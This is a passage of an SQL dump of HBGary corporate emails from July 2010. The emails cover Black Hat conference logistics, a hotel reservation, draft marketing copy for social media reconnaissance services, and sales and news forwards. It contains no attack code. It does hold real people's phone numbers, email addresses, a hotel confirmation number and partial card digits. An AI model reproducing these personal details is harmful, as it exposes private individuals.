Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento, CA&nbsp; 95864\r\n\r\nTel:&nbsp; 916-459-4727 ext. 101\r\n\r\nFax: 916-481-1460\r\n\r\nEmail&nbsp; deeann@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, July 26, 2010 10:55 AM\r\nTo: DeeAnn Buonaccorsi\r\nSubject: Re: Black Hat Info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDeeAnn,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI didn\'t receive confirmation. &nbsp;How much are the rooms\r\na night? &nbsp;If they are too much I was thinking of booking Ballys across the\r\nstreet.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 13, 2010, at 4:53 PM, DeeAnn Buonaccorsi wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nGuys,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nYou\r\nare expected to be at this how July 27-29.&nbsp; I have made Hotel reservations\r\nfor all that will be attending.&nbsp; You should have &nbsp;Caesars Palace\r\n&nbsp;confirmation. &nbsp;&nbsp;Below are the set up and break down\r\ninstructions.&nbsp; Please contact me if you have any questions.&nbsp;&nbsp;\r\nReminder:&nbsp; I still need flight info from most of you.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDisplay\r\nset-up is on July 26 from 15:00-18:00 and Tuesday, July 27 from 09:00–18:00.\r\nSet-up is best\r\n\r\n\r\n\r\n\r\n\r\ndone before\r\n18:00 when GES staff are available. You will need to be fully ready to go by\r\n08:00 on\r\n\r\n\r\n\r\n\r\n\r\nJuly 28.\r\nTeardown will begin at 16:45 on July 29, with crates not available until 16:45.&nbsp;Under no\r\n\r\n\r\n\r\n\r\n\r\ncircumstances\r\nare sponsors permitted to tear down in advance of these times without written\r\n\r\n\r\n\r\n\r\n\r\npermission\r\nfrom Black Hat management.&nbsp;The displays need not be fully staffed\r\nall of the time, and\r\n\r\n\r\n\r\n\r\n\r\nwe expect\r\nthat staffing will be most productive during the continental breakfasts and\r\ncoffee breaks on\r\n\r\n\r\n\r\n\r\n\r\nJuly 28 and\r\n29. Please refer to the schedule on the Black Hat website. Repeating the format\r\nof last\r\n\r\n\r\n\r\n\r\n\r\nyear, the\r\nHosted Reception will be held from 18:00-19:30 on the evening of July 28, mixed\r\nin and\r\n\r\n\r\n\r\n\r\n\r\naround all of\r\nthe displays. You may use your own judgment re staffing levels during these\r\ntimes.\r\n\r\n\r\n\r\n\r\n\r\nYour company\r\nhas already been assigned space at the time you reserved your sponsorship. All\r\n\r\n\r\n\r\n\r\n\r\nlocations\r\nhave equal access to the delegates.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\n\r\n\r\n\r\n\r\nOffice Manager\r\n\r\n\r\n\r\n\r\n\r\nHBGary, Inc.\r\n\r\n\r\n\r\n\r\n\r\n3604 Fair Oaks Blvd.&nbsp; Suite 250\r\n\r\n\r\n\r\n\r\n\r\nSacramento, CA&nbsp; 95864\r\n\r\n\r\n\r\n\r\n\r\nTel:&nbsp; 916-459-4727 ext. 101\r\n\r\n\r\n\r\n\r\n\r\nFax: 916-481-1460\r\n\r\n\r\n\r\n\r\n\r\nEmail&nbsp;&nbsp;deeann@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5141,'aaron_hbgary_com/5141.html'),(9203,'2010-07-27','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297007093.M86287P14101Q4056.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Caesars Palace Las Vegas Reservation Confirmation # WGQCB','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd.  Suite 250\r\n\r\nSacramento, CA  95864\r\n\r\nTel:  916-459-4727 ext. 101\r\n\r\nFax: 916-481-1460\r\n\r\nEmail  deeann@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Caesars Palace Las\r\nVegas [mailto:emails@em.harrahs-notifications.com] \r\nSent: Tuesday, July 13, 2010 2:24 PM\r\nTo: DEEANN@HBGARY.COM\r\nSubject: Caesars Palace Las Vegas Reservation Confirmation # WGQCB\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    To\r\n    view this message in your web browser, please Click Here\r\n    \r\n    HARRAHS | RESERVATIONS| CASINO LOCATOR| CUSTOMER SERVICE | HOT DEALS| TOTAL REWARDS \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n      RESERVATION CONFIRMATION \r\n      This is an automatically generated e-mail. Please DO NOT REPLY to this\r\n      e-mail. \r\n      \r\n      Dear Aaron Barr, \r\n      \r\n      Thank you for choosing Caesars Palace Las Vegas. Your&nbsp;confirmation\r\n      number and reservation details are below. \r\n      Please keep this page for your records. Confirmation Number: WGQCB\r\n      \r\n      \r\n       \r\n        \r\n        Beat\r\n        the lines at check-in. Use our Texpress\r\n        Service and check-in with your cell phone. It’s fast, easy and your\r\n        room keys will be waiting at the Bell Desk. Singing sensation Matt\r\n        Goss brings vintage Vegas back to Cleopatra’s Barge in an all-new,\r\n        old-school lounge show. Find your all-time favorite comfort foods\r\n        created by Chef Bryan Ogden at munchbar.\r\n        Experience the Garden\r\n        of the Gods Pool Oasis, the most breathtaking swimming pool\r\n        experience in Las Vegas. For more information, visit&nbsp;the Caesars\r\n        Palace website.\r\n        \r\n       \r\n      \r\n      \r\n      \r\n      \r\n       \r\n        \r\n        \r\n         \r\n          \r\n          Caesars\r\n          Palace Las Vegas\r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          3570 Las Vegas Blvd. South\r\n          Las Vegas, NV 89109\r\n          1-877-427-7243\r\n          \r\n          \r\n          Connect with us:\r\n          &nbsp; \r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n      Start Earning Reward Credits - for everyday purchases - even before\r\n      you visit!\r\n      Apply for the Total Rewards® Visa® card today and receive 2,500 Bonus\r\n      Reward Credits® after making your first transaction with your new card.\r\n      Plus, your everyday purchases earn 1 Bonus Reward Credit® for every $1\r\n      you spend. The more you spend, the more you earn. Click\r\n      here for more information and to apply! Or call 1-866-438-6262 and\r\n      mention priority code UABCUN. \r\n      \r\n     \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Reservation\r\n        Information\r\n        \r\n       \r\n       \r\n        \r\n        Guest Name: Aaron Barr\r\n        Confirmation Number: WGQCB\r\n        Check-In Date: 07/27/2010\r\n        Check-Out Date: 07/30/2010\r\n        Number of Adults: 1\r\n        Number of Children: \r\n        Package Name: \r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n      \r\n       \r\n        \r\n        \r\n         \r\n          \r\n          Billing\r\n          Information\r\n          \r\n         \r\n         \r\n          \r\n          Aaron\r\n          Barr\r\n          DEEANN@HBGARY.COM\r\n          VISA xxxx-xxxx-xxxx-4379\r\n          Exp. xx/xx\r\n          \r\n         \r\n        \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          Rates\r\n          Per Room*\r\n          \r\n         \r\n         \r\n          \r\n          07/27/2010------$165.00\r\n          USD \r\n          07/28/2010------$165.00 USD \r\n          07/29/2010------$165.00 USD \r\n          \r\n          -----------------------\r\n          Total Trip\r\n          Cost**\r\n          $554.40 USD\r\n          *Excludes tax, recovery charges and service fees\r\n          **Estimated Total Cost\r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        Travel insurance from Travel Guard includes reimbursement for trip\r\n        cancellation or interruption, travel delay, lost, stolen or damaged\r\n        baggage and baggage delay. Twenty-four hour assistance is also\r\n        included. Click here to purchase insurance from\r\n        Travel Guard for the low price of $12.\r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Please\r\n    note:\r\n    To redeem a Total Rewards hotel offer the primary Total Rewards customer on\r\n    the account must be present at check-in with valid photo ID and Total\r\n    Rewards card that match the name on the hotel reservation. \r\n    Should a\r\n    companion arrive prior to the individual with the hotel reservation, the\r\n    companion will not be able to check-in but will have the option to book a\r\n    separate reservation until the arrival of the primary Total Rewards\r\n    customer. Upon the arrival of the individual with the original reservation,\r\n    they will be added to the new reservation and honor the original rates\r\n    booked.\r\n    \r\n    Did you know you can view\r\n    your reservation online anytime? Just visit Harrahs.com and click on\r\n    Reservations. You will need to enter the hotel name, your confirmation\r\n    number and check-in date.\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Hotel\r\n        Information\r\n        \r\n        \r\n         \r\n          \r\n          Caesars\r\n          Palace Las Vegas\r\n          3570 Las Vegas Blvd. South\r\n          Las Vegas, NV 89109\r\n          1-877-427-7243\r\n          \r\n         \r\n        \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          Directions\r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n      \r\n       \r\n        \r\n        \r\n         \r\n          \r\n          Room\r\n          Selection &amp; Preferences\r\n          \r\n         \r\n         \r\n          \r\n          CLASSIC\r\n          KI N/S\r\n          \r\n         \r\n        \r\n        \r\n        \r\n        **PLEASE\r\n        NOTE \r\n        Room preferences are not guaranteed and additional charges may apply.\r\n        If you are disabled and require special accommodations, please call\r\n        1-800-HARRAHS.\r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    TERMS\r\n    AND CONDITIONS\r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        CAESARS PALACE CANCELLATION POLICY\r\n        A 72-hour cancellation notice is required prior to your arrival date to\r\n        receive a refund of your deposit. If you cancel within 72 hours,\r\n        including reservations made within 3 days of your arrival, you will be\r\n        charged the 1st night\'s room rate and tax. For Total Rewards customers,\r\n        this amount will be deducted from your Total Rewards account. Declined\r\n        or invalid credit card numbers may result in cancellation of booking\r\n        without prior notice. Personal checks will be accepted for pre-payment\r\n        of reservation balance only if received at least 30 days prior to\r\n        arrival date. Checks will not be accepted if received less than 30 days\r\n        prior to arrival. Reservations made for December 29 - 31, 2010 require\r\n        cancellation 7 days prior to arrival. Cancellations within 7 days of\r\n        arrival are subject to the forfeit of one nights deposit.\r\n        \r\n        DEPOSITS AND CREDIT CARDS\r\n        All reservations must be guaranteed by a major credit card. For general\r\n        reservations, one night\'s room and tax are charged upon booking; for\r\n        package reservations, the full package price of room and tax are\r\n        charged upon booking. Reservations made with declined or invalid credit\r\n        cards are subject to cancellation.\r\n        \r\n        RATES\r\n        Internet rates are not valid with, during, or in conjunction with other\r\n        Discount programs, including corporate group and junket programs. All\r\n        rates are currently subject to 12% tax and tourism fee that may not be\r\n        reflected in the total cost. Prior to confirmation, all rates are\r\n        subject to change without notice and based upon limited availability.\r\n        \r\n        CHECK-IN/CHECK-OUT\r\n        Check-In time is 4:00pm and Check-Out time is 11:00am.\r\n        \r\n        ROOM PREFERENCES\r\n        We will make every effort to fulfill your preference requests; however\r\n        they are not guaranteed, as rooms are assigned at check-in. Additional\r\n        charges may apply for some requests. For accommodation preferences for\r\n        the physically challenged, please call us at 1-800-HARRAHS.\r\n        \r\n        AGE REQUIREMENT\r\n        You must be 21 years of age or older to reserve a room.\r\n        \r\n        ADDITIONAL PERSON CHARGES\r\n        Maximum occupancy is four persons per room. There is an additional\r\n        nightly fee of $30 per person for rooms with more than 2 adult\r\n        occupants. \r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    CONTACT\r\n    US\r\n    \r\n   \r\n   \r\n    \r\n    If you would like to contact us\r\n    about a reservation, just click\r\n    here to use our convenient online form. Please have the hotel name,\r\n    confirmation number and check-in date available.\r\n    \r\n    Click\r\n    here to sign up to receive exclusive email offers from Harrah\'s\r\n    Entertainment. \r\n    \r\n   \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n   \r\n    \r\n    COMPANY INFORMATION| CAREERS| INVESTOR RELATIONS| GROUPS AND MEETINGS | RESPONSIBLE GAMING \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  Know When To Stop Before You Start ® Gambling Problem? Call 1-800-522-4700\r\n  © 2010 Harrah\'s License Company, LLC. All rights reserved.\r\n  \r\n  PRIVACY | HARRAHS\r\n  \r\n  This is a post-only mailing. Please do not reply to this email. Customer\r\n  Service support is available at:\r\n  Harrah\'s Customer Service \r\n  [If you cannot view this\r\n  email, please Click Here.]\r\n  This is an advertisement from\r\n  Harrah\'s. It was transmitted by e-Dialog on behalf of\r\n  Harrah\'s Entertainment, c/o Harrah\'s Operating Company, Inc., ATTN: Internet\r\n  Marketing, \r\n  P.O. Box 98905, Las Vegas, NV 89193-8905.\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7381,'aaron_hbgary_com/7381.html'),(9204,'2010-07-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007098.M175966P14101Q4059.eml','\"Maria Lucas\" <maria@hbgary.com>','Fwd: 3 graphic requests to follow','Not the final but close.  Outline to follow in a few days.\r\n\r\nSent from my iPhone\r\n\r\nBegin forwarded message:\r\n\r\n> From: John Verducci \r\n> Date: July 26, 2010 6:08:44 PM CDT\r\n> To: Aaron Barr \r\n> Subject: Re: 3 graphic requests to follow\r\n> \r\n\r\n> Hi Aaron\r\n> \r\n> Attached is the first draft of the social media datasheet. I used the same layout as I have done for Penny so that it will fit into the HB Gary family look and feel.\r\n> \r\n> Take a look and let me know when you have some feedback.\r\n> \r\n> FYI - I am out of town next week so we should try and wrap this up by Friday.\r\n> \r\n> Thanks!\r\n> \r\n> John\r\n> \r\n> \r\n> \r\n> \r\n> On Jul 26, 2010, at 10:46 AM, Aaron Barr wrote:\r\n> \r\n>> Text.\r\n>> \r\n>> Can you give me a call when you get a sec.  719.510.8478\r\n>> \r\n>> Information Reconnaissance and Exploitation\r\n>> \r\n>> Sixty five percent of Americans use social media services with nearly half using them more than once per day. Ninety-six percent of Americans between the ages of 18-35 use at least one social media service. \r\n>> \r\n>> The explosive growth of social media has created a highly effective channel for the collection and aggregation of personal and organizational information for the purposes of tailoring content for users.  To Interact in a social media ecosystem requires some release of personally identifiable information (PII), in fact with most services the more information you provide the more tailored and beneficial the experience.  In most cases these are legitimate reasons for providing the information with tangible user benefits, whether it be to more personalize and localize advertising or tailored and real-time information delivery that increases personal productivity.  Unfortunately the same methods are being used to conduct information reconnaissance and exploitation.  The most common current examples are spear-phishing attacks.  Future social media exploitation tactics will likely be applications and service that provide personal benefit or entertainment, but serving a dual purpose to collect information that can be used for more insidious purposes.  This marks a new class of exploitation, vehicles directly targeting people rather than the machines they use, Infoware. \r\n>> \r\n>> Consulting\r\n>> \r\n>> Not all Social Media services are created equal.  In many cases understanding the proper uses for each of the social media types and informing organization personnel of best practices and potential risks can alleviate a lot of confusion and information control issues.  HBGary Federal staff is comprised of social media technologists, designers and developers as well as cybersecurity and malware experts to assist your organization in effective use of social media communications and collaboration tools while maintaining a manageable security architecture.  Our in-depth knowledge of the possibilities of information exploitation gives us an effective perspective to inform organizations on the potential vulnerabilities of social media use, especially in those areas that might not be obvious such as the aggregated information exposure through use of multiple social media services across an organizations staff.\r\n>> \r\n>> Training\r\n>> \r\n>> As is typical of most areas, technology has moved faster than security.  Currently there are virtually no technologies that help protect organizations from information exposure across the social media landscape.  Our 1-day training program aims to familiarize organizations with the social media landscape as well as complementary technologies that will increase the potential for information exposure in coming months and years.  The course provides information on effective use of social media both for personal and professional use and covers the risks of social media use.  There is an interactive section of the course that covers some information exploitation use cases using current popular social media services and social reconnaissance techniques, where we demonstrate the impact both personally and to organizations.  The course ends with some protective measures that can be incorporated into personal social media use and organizational policies and directives to limit information exposure, as well we cover some technologies that can be used to better monitor and block certain types of information exposure.\r\n>> \r\n>> Course Curriculum\r\n>> \r\n>> Familiarization\r\n>> \r\n>> Effective Use\r\n>> \r\n>> Risks\r\n>> \r\n>> Use Cases\r\n>> \r\n>> Protective Measures\r\n>> \r\n>> Information Exposure Monitoring and PenTesting\r\n>> \r\n>> In today’s content rich social media environment each post, personal link, or location check-in represents a data point, which because of the open nature of the environment can be easily collected and correlated to other data points, whether by company, profession, association, or location.  Because of the volume of information and the complexity of the potential relationships created it can be difficult to comprehend the vulnerabilities created by seemingly innocuous releases of information.  What people list on their professional online profile, friends they associate with on their personal profiles, messages they post, and places they check in can tell a significant amount about a person.  Aggregated information collected on individuals associated with a particular company or organization can tell far more about the organizations internal operations then they would likely want publically available.  HBGary Federal provides information exposure monitoring services to identify potential unintended releases of information across an aggregate of social media services.\r\n>> \r\n>> \r\n>> \r\n>> On Jul 21, 2010, at 12:51 PM, John Verducci wrote:\r\n>> \r\n>>> Hi Aaron,\r\n>>> \r\n>>> I have not yet begun to work on your project as I have a couple of things ahead in the queue. I do most of my work in the Adobe Creative Suite including InDesign.\r\n>>> \r\n>>> Thanks\r\n>>> \r\n>>> John\r\n>>> \r\n>>> \r\n>>> On Jul 21, 2010, at 8:13 AM, Aaron Barr wrote:\r\n>>> \r\n>>>> Hi John,\r\n>>>> \r\n>>>> How are the graphics coming? Do you do In-design work?\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> On Jul 14, 2010, at 7:30 PM, John Verducci wrote:\r\n>>>> \r\n>>>>> Thanks Penny.\r\n>>>>> \r\n>>>>> Aaron - let me know what you need on these.\r\n>>>>> \r\n>>>>> Thanks\r\n>>>>> \r\n>>>>> John\r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> On Jul 14, 2010, at 3:56 PM, Penny Leavy-Hoglund wrote:\r\n>>>>> \r\n>>>>>> Aaron, you\'ll have to explain to John what you want, what you sent doesn\'t\r\n>>>>>> make sense to me\r\n>>>>>> \r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>>> Sent: Wednesday, July 14, 2010 9:20 AM\r\n>>>>>> To: Penny Leavy\r\n>>>>>> Subject: 3 graphic requests to follow\r\n>>>>>> \r\n>>>>>> First one is the top image for the datasheet.  You can download the icons at\r\n>>>>>> http://icons.mysitemyway.com/category/black-ink-grunge-stamps-textures-icons\r\n>>>>>> /\r\n>>>>>> I would like the HBGary logo to stand out but fit in the grunge style.  2\r\n>>>>>> more requests to follow.\r\n>>>>>> \r\n>>>>>> I would use the following ones:\r\n>>>>>> blogger\r\n>>>>>> digg\r\n>>>>>> facebook\r\n>>>>>> flickr\r\n>>>>>> google\r\n>>>>>> hi5\r\n>>>>>> linkedin\r\n>>>>>> myspace\r\n>>>>>> orkut\r\n>>>>>> reddit\r\n>>>>>> skype\r\n>>>>>> technorati\r\n>>>>>> twitter\r\n>>>>>> wordpress\r\n>>>>>> yahoo\r\n>>>>>> youtube\r\n>>>>>> yelp\r\n>>>>>> \r\n>>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> ______________________\r\n>>>>> \r\n>>>>> John Verducci\r\n>>>>> Studio Em Graphic Design\r\n>>>>> \r\n>>>>> 974 Yorkshire Drive\r\n>>>>> Los Altos, California 94024\r\n>>>>> \r\n>>>>> 650.962.9200 Direct\r\n>>>>> 650.961.8801 Fax\r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>> \r\n>>> \r\n>>> ______________________\r\n>>> \r\n>>> John Verducci\r\n>>> Studio Em Graphic Design\r\n>>> \r\n>>> 974 Yorkshire Drive\r\n>>> Los Altos, California 94024\r\n>>> \r\n>>> 650.962.9200 Direct\r\n>>> 650.961.8801 Fax\r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n> \r\n> ______________________\r\n> \r\n> John Verducci\r\n> Studio Em Graphic Design\r\n> \r\n> 974 Yorkshire Drive\r\n> Los Altos, California 94024\r\n> \r\n> 650.962.9200 Direct\r\n> 650.961.8801 Fax\r\n> \r\n> \r\n> \r\n> \r\n',8113,'aaron_hbgary_com/8113.html'),(9205,'2010-07-27','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007098.M652353P14101Q4060.eml','\"Karen Burke\" <karen@hbgary.com>,\"Karen Burke\" <karen@hbgary.com>,,','Re: PLEASE READ: Aaron Barr Fingerprint Blogpost','Looks good.  I think it reads better if you remove the sentence in the last paragraph that starts with For Example...\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 27, 2010, at 10:08 AM, Karen Burke  wrote:\r\n\r\n> Hi Greg and Aaron, Please review final blogpost on Fingerprint. Greg, please review as well -> I want to be sure the tool\'s description is close or matches what we plan to put up on our site tomorrow after your talk. We also need to confirm exact spelling of product: Fingerprint or FingerPrint. I want to be sure HBGary is putting out same message on tool. Aaron, please also give it a final review. Thanks so much for writing it. I think it is very good. Once you have both approved, I will give to Charles to post on our site once our tool is released (after Greg\'s talk tomorrow around 12 PM PT).\r\n>  \r\n> I\'d also like to repurpose the blog post to pitch interviews for Aaron for the government pubs.Thank you.  \r\n>  \r\n>  \r\n> \r\n',3799,'aaron_hbgary_com/3799.html'),(9206,'2010-07-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007098.M851948P14101Q4061.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Re: HBGary follow up','Hi Maria,I sent the updated quote to Brian yesterday.  He is discussing it with his manager, Dan Collender.Ted\r\nOn Jul 27, 2010, at 8:56 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:Hi BrianWhen is a good time to speak with you about Active Defense and your purchase requirements -- you mentioned July but I was wondering if this has been extended? And, how are we doing?\r\n\r\nTed and Aaron also asked me to help with the training proposal and I had a few questions on that as well.Thanks!Maria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n\r\n\r\n',8773,'aaron_hbgary_com/8773.html');
INSERT INTO `emails` VALUES (9207,'2010-07-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007099.M322266P14101Q4063.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Google Apps for Gov\'t','http://fcw.com/articles/2010/07/26/google-apps-for-government-fisma.aspx?s=fcwdaily_270710\r\n\r\nGoogle releases FISMA-compliant Apps for Government\r\nCloud-based suite meets federal regs; Microsoft looking to catch up\r\n\r\nBy Rutrell Yasin\r\nJul 26, 2010\r\nAfter a year of working on security steps to comply with federal\r\ngovernment regulations, Google today launched Google Apps for\r\nGovernment.\r\n\r\nGoogle Apps for Government is the first suite of cloud computing\r\napplications to receive Federal Information Security Management Act\r\n(FISMA) certification and accreditation from the U.S. government, said\r\nDavid Mihalchik, Google’s federal business development executive. The\r\nGoogle Apps platform consists of Google Docs, Gmail, spreadsheets, a\r\nvideo tool and Google Sites.\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',3314,'aaron_hbgary_com/3314.html'),(9208,'2010-07-27','\"Ted Vera\" <tedvera@mac.com>','/aaron@hbgary.com/new/1297007099.M57019P14101Q4062.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: DOD creates online hub for social media','Begin forwarded message:From: \"FCW Government 2.0 Update\" &lt;fcw@1105Newsletters.com&gt;Date: July 27, 2010 10:32:19 AM MDTTo: Ted Vera &lt;tedvera@mac.com&gt;Subject: DOD creates online hub for social mediaReply-To: \"FCW Government 2.0 Update\" &lt;FCWeGovNL@1105service.com&gt;Having trouble viewing this e-mail?&nbsp;Click here&nbsp;to view as a Web page.Government 2.0 UpdateFollow us onContact&nbsp;the Editor7/27/2010Defense Department creates online hub for social mediaThe Pentagon has set up an online social media hub to better coordinate policies and to provide online links to service sites on Facebook, Twitter, YouTube and the like.Teachable moments from NASA\'s social media projectNearly all major federal agencies use social media, GAO saysHow big is the oil spill? See how far it would stretch in your hometownFan favorite: State Department Facebook page attracts 145,000Union accuses GSA of censorship over social media policyGov 2.0 on the moveApplying for FEMA aid now a smart phone app awayIT spending dashboard goes mobileGovernment Takes Lead in Cloud Adoption&nbsp;Online Report Sponsored by MicrosoftIn an unlikely role reversal, speakers at the recent Cloud Computing Summit in Washington D.C., agreed the public sector has taken an obvious lead in the adoption of cloud computing, stepping ahead of private sector organizations by embracing pay-per-use solutions for a variety of new services and applications.Read the full article.More NewsEarthquakes are something to tweet aboutData errors: OMB\'s online IT dashboard doesn\'t computeTwitter adoption different for Dems and GOP, but old media still rules10 gov Web apps that get resultsReady or not, the workplace will get a lot more mobile, socialEnd of payroll deductions for paper U.S. Savings Bonds approachingFeatured jobs from the&nbsp;Government Careeer NetworkISS Specialist/Hands-On Engineer IV - System Integrators - HP - Leesburg, VAISS Specialist/Hands-On Engineer IV - Civilian Agencies - HP - Leesburg, VAInformation Security Manager - Yeshiva University - New York, NYGovernment Contract and Trade Regulation Sr. Attorney - Eaton Corporation - ClevelandPSFS - BPO - IT Sr. Download Manager - PricewaterhouseCoopers - VARegister today&nbsp;for the 1105 Government Information Group Enterprise Architecture Exhibition and Conference – free expo passes for government employees!www.govEAconference.comDownload Resources2010 GWAC Buyers GuideOnline Report Sponsored By: PC MallNIH Gears Up for New GWAC Opportunity -- The third version of the National Institutes of Health\'s Chief Information Officer-Solutions and Partners (CIO-SP) governmentwide acquisition contract is slated as a follow-on contract, but in some ways it\'s a completely different animal.&nbsp;Read the full article.Feedback&nbsp;|&nbsp;Advertise&nbsp;|&nbsp;Newsletter Preferences&nbsp;|&nbsp;Unsubscribe&nbsp;|&nbsp;Privacy&nbsp;|&nbsp;Contact StaffFederal Computer Week&nbsp;1105 Government Information Group3141 Fairview Park Drive, Suite 777Falls Church, VA 22042703-876-5100FCW Government 2.0Online Editor-in-Chief – Susan Miller | Managing Editor Daily Report – Michael Hardy1105 Government Information GroupPresident – 